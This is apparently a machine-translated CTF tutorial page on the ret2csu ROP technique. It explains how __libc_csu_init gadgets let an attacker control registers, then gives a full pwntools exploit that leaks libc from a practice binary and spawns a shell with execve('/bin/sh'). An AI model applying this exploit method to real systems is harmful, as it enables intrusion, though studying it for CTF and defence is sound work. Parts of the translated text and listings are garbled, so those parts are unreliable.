中级ROP¶

The intermediate ROP mainly uses some clever Gadgets.

ret2csu¶

Principle¶

In 64-bit programs, the first six arguments to a function are passed through registers, but most of the time, it's hard to find the gadgets for each register. At this time, we can take advantage of the gadgets in __libc_csu_init under x64. This function is used to initialize libc, and the general program will call the libc function, so this function will exist. Let's take a look at this function first (of course, there are some differences between different versions of this function)

`asm .text:00000000004005C0 ; void _libc_csu_init(void)

.text:00000000004005C0 public __libc_csu_init

.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o

.text:00000000004005C0 push r15

.text:00000000004005C2 push r14

.text: 00000000004005C4 mov r15d, edi .text:00000000004005C7 push r13

.text:00000000004005C9 push r12

.text:00000000004005CB lea r12, __frame_dummy_init_array_entry

.text:00000000004005D2 push rbp

.text: 00000000004005D3 lea rbp, __do_global_dtors_to_final_array_entry .text:00000000004005DA push rbx

.text:00000000004005DB mov r14, rsi

.text:00000000004005DE mov r13, rdx

.text:00000000004005E1 sub rbp, r12

.text:00000000004005E4 sub rsp, 8

.text: 00000000004005E8 sar rbp, 3 .text:00000000004005EC call _init_proc

.text:00000000004005F1 test rbp, rbp

.text:00000000004005F4 jz short loc_400616

.text:00000000004005F6 xor ebx, ebx

.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]

.text:0000000000400600

.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j

.text:0000000000400600 mov rdx, r13

.text:0000000000400603 mov rsi, r14

.text: 0000000000400606 mov, r15d .text:0000000000400609 call qword ptr [r12+rbx*8]

.text:000000000040060D add rbx, 1

.text:0000000000400611 cmp rbx, rbp

.text:0000000000400614 jnz short loc_400600

.text:0000000000400616

.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j

.text:0000000000400616 add rsp, 8

.text:000000000040061A pop rbx

.text:000000000040061B pop rbp

.text:000000000040061C pop r12

.text:000000000040061E pop r13

.text:0000000000400620 pop r14

.text:0000000000400622 pop r15

.text: 0000000000400624 retn .text:0000000000400624 __libc_csu_init endp

Here we can use the following points


- From 0x000000000040061A to the end, we can use the stack overflow to construct data on the stack to control the data in the rbx, rbp, r12, r13, r14, r15 registers.
- From 0x0000000000400600 to 0x0000000000400609, we can assign r13 to rdx, r14 to rsi, and r15d to edi (note that although this is assigned edi, ** but the high 32 bits of rdi at this time The register value is 0 (self-tuning)**, so we can control the value of the rdi register, but only the lower 32 bits, and these three registers are the first three registers passed in the x64 function call. Also, if we can reasonably control r12 and rbx, then we can call the function we want to call. For example, we can control rbx to be 0, and r12 is the address of the function we want to call.
- From 0x000000000040060D to 0x0000000000400614, we can control the relationship between rbx and rbp as rbx+1 = rbp, so we will not execute loc_400600, and we can continue to execute the following assembler. Here we can simply set rbx=0, rbp=1.


###example


Here we take the steamed rice step by step to learn the level5 of the linux linux_x64 article as an example. First check the security of the program


```shell

➜  ret2__libc_csu_init git:(iromise) ✗ checksec level5

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x400000)

The program is 64-bit and the stack unenforceable protection is turned on.

Second, looking for bugs in the program, you can see that there is a simple stack overflow in the program.

ssize_t vulnerable_function()

{

  char buf; // [sp+0h] [bp-80h]@1



  return read(0, &buf, 0x200uLL);

}

A simple browsing of the program, found that the program has neither the system function address nor the /bin/sh string, so both of us need to construct ourselves.

Note: Here I tried to use the system function to get the shell failed. It should be a problem with environment variables, so here is the execve to get the shell.

Basic use ideas are as follows

Execute libc_csu_gadgets with stack overflow to get the address of the write function and cause the program to re-execute the main function
Get the corresponding libc version and execve function address according to libcsearcher
Re-execute libc_csu_gadgets with stack overflow to write the execve address and the '/bin/sh' address to the bss section and cause the program to re-execute the main function.
Execute libc_csu_gadgets again with stack overflow to execute execve('/bin/sh') to get the shell.

Exp is as follows

from pwn import *

from LibcSearcher import LibcSearcher



#context.log_level = 'debug'



level5 = ELF (&#39;./ level5&#39;)
sh = process('./level5')



write_got = level5.got['write']

read_got = level5.got['read']

main_addr = level5.symbols['main']

bss_base = level5.bss()

csu_front_addr = 0x0000000000400600

csu_end_addr = 0x000000000040061A

fakeebp = 'b' * 8





def csu(rbx, rbp, r12, r13, r14, r15, last):

    # pop rbx,rbp,r12,r13,r14,r15

    # rbx should be 0,

    # rbp should be 1,enable not to jump

    # r12 should be the function we want to call

# rdi = ID = r15d
# rsi = r14
    # rdx=r13

    payload = 'a' * 0x80 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(

        r13) + p64(r14) + p64(r15)

    payload += p64(csu_front_addr)

    payload += 'a' * 0x38

    payload += p64(last)

    sh.send(payload)

    sleep(1)





sh.recvuntil('Hello, World\n')

## RDI, RSI, RDX, RCX, R8, R9, more on the stack

## write(1,write_got,8)

csu(0, 1, write_got, 8, write_got, 1, main_addr)



write_addr = u64(sh.recv(8))

libc = LibcSearcher('write', write_addr)

libc_base = write_addr - libc.dump('write')

execve_addr = libc_base + libc.dump('execve')

log.success('execve_addr ' + hex(execve_addr))

##gdb.attach(sh)



## read(0,bss_base,16)

## read execve_addr and /bin/sh\x00

sh.recvuntil('Hello, World\n')

csu(0, 1, read_got, 16, bss_base, 0, main_addr)

sh.send(p64(execve_addr) + '/bin/sh\x00')



sh.recvuntil('Hello, World\n')

## execve(bss_base+8)

csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)

sh.interactive()

Thinking¶

Improve¶

In the above, we directly used this generic gadgets with a byte length of 128. However, not all bugs allow us to enter such long bytes. So what do we do when we allow a small number of bytes to enter? Here are a few methods

Improve 1 - Control rbx and rbp in advance¶

It can be seen that in our previous utilization, we used the values of these two registers mainly to satisfy the condition of cmp and jump. If we can control these two values in advance, then we can reduce 16 bytes, that is, we need only 112 for the number of bytes we need.

Improvement 2-Multiple use¶

In fact, improvement 1 is also a multi-use. We can see that our gadgets are divided into two parts, so we can actually make two calls to achieve the purpose, in order to reduce the number of bytes required for a gadget. But the multiple uses here require more stringent conditions.

Vulnerabilities can be triggered multiple times
The program has not modified the r12-r15 register between triggers because it is called twice.

Of course, sometimes we will encounter a large number of bytes that can be read in one time, but the vulnerability is not allowed to be reused. At this time, we need to arrange all the bytes at once and then use it slowly.

gadget¶

In fact, in addition to the above gadgets, gcc will compile some other functions by default.

_init

_start

call_gmon_start

deregister_tm_clones

register_tm_clones

__do_global_dtors_aux
frame_dummy

__libc_csu_init

__libc_csu_fini
_fini

We can also try to use some of the code to perform. In addition, since the PC itself simply passes the data at the execution address of the program to the CPU, the CPU simply decodes the transferred data, and as long as the decoding is successful, it is executed. So we can offset some of the addresses in the source program to get the instructions we want, as long as we can ensure that the program does not crash.

Need to say that in the above libc_csu_init we mainly use the following registers

Control rbx, rbp, r12, r13, r14, r15 with the tail code.
Control rdx, rsi, edi with the code in the middle section.

In fact, the tail of libc_csu_init can control other registers by offset. Among them, 0x000000000040061A is the normal starting address, can see that we can control the rbp register at 0x000000000040061f, and can control the rsi register at 0x0000000000400621. And if you want to understand this part in depth, you need to have a more thorough understanding of each field in the assembly instructions. as follows.

`asm gef➤ x/5i 0x000000000040061A

0x40061a <__libc_csu_init+90>: pop rbx

0x40061b <__libc_csu_init+91>: pop rbp

0x40061c <__libc_csu_init+92>: pop r12

0x40061e <__libc_csu_init+94>: pop r13

0x400620 <__libc_csu_init+96>: pop r14

gef➤ x/5i 0x000000000040061b

0x40061b <__libc_csu_init+91>: pop rbp

0x40061c <__libc_csu_init+92>: pop r12

0x40061e <__libc_csu_init+94>: pop r13

0x400620 <__libc_csu_init+96>: pop r14